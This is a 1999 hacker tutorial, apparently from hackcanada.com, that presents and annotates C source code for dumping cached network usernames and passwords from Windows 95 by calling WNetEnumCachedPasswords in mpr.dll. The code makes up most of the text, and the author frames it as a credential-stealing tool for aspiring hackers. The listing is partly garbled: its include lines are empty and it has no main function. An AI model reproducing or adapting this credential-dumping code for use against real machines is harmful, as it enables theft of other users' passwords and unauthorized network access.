Cracking PWL files; with source code Renderman with Bandsaw 7/25/99 Www.hackcanada.com RenderMan@hackcanada.com Now why would anyone want to hack a PWL file? (I think a heard some chuckles) well if you consider yourself to be even 10% hacker you better read up on them. PWL files contain important information including network user names/passwords. Do I have your attention yet? Generally PWL files are generated from Microsoft applications and implement MD5 and RC4 algorithms for storage encryption. The following source code can be compiled to extract the cached contents of these files. The con to this particular technique is the PWL file must be cached into memory before it can extract. For example, logging onto a dial-up networking connection, then running this program. The pro is simple the resource/username/password is cached in plain text, windows has done the decryption for you! How she works: #include #include typedef struct tagPASSWORD_CACHE_ENTRY { WORD cbEntry; WORD cbResource; WORD cbPassword; BYTE iEntry; BYTE nType; BYTE abResource[1]; } PASSWORD_CACHE_ENTRY; // So we start by including the standard Windows, and input/output library // files. Then they've created a cute structure large enough to hold the // components of the PWL file we are interested in. As you'll notice the // structure tag is PASSWORD_CACHE_ENTRY and is capable of holding Binary // entries as well. char *buf, *ob1; int cnt = 0; BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD) { cnt++; memmove(buf, x->abResource, x->cbResource); buf[x->cbResource] = 0; CharToOem(buf, ob1); // for non-English users printf("%-30s : ", ob1); memmove(buf, x->abResource+x->cbResource, x->cbPassword); buf[x->cbPassword] = 0; CharToOem(buf, ob1); printf("%s\n", ob1); return TRUE; } // Now we take a look at our first function, after declaring two globals. // This is our meat and potatoes. A pointer to our structure will be // passed in as one of the variables, a pointer being way smaller in size // (4 bytes). // Verify PWL file exists: HINSTANCE hi = LoadLibrary("mpr.dll"); if(!hi) { puts("Couldn't load mpr.dll. This program is for Windows 95 only"); return; } WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) = (WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords"); if(!enp) { puts("Couldn't import function. This program is for Windows 95 only"); return; } (*enp)(0,0, 0xff, pce, 0); if(!cnt) { puts("No passwords found.\nProbably password caching was not used or user is not logged in."); FreeLibrary(hi); puts("\nPress Enter to quit"); getchar(); } // EoC (End of Code) Now we are trying to make sure the jerk running this program has a PWL file. Personally I would let it crash the system but... A logical call is made to try to load a Windows 95 library. They run a few more tests then, providing verification successful, the function extracts the cached contents of the PWL, via memory swapping, fills structure and sends it to the standard output (monitor). Enjoy. Renderman with Bandsaw 7/25/99 Www.hackcanada.com RenderMan@hackcanada.com #2600ca on irc.2600.net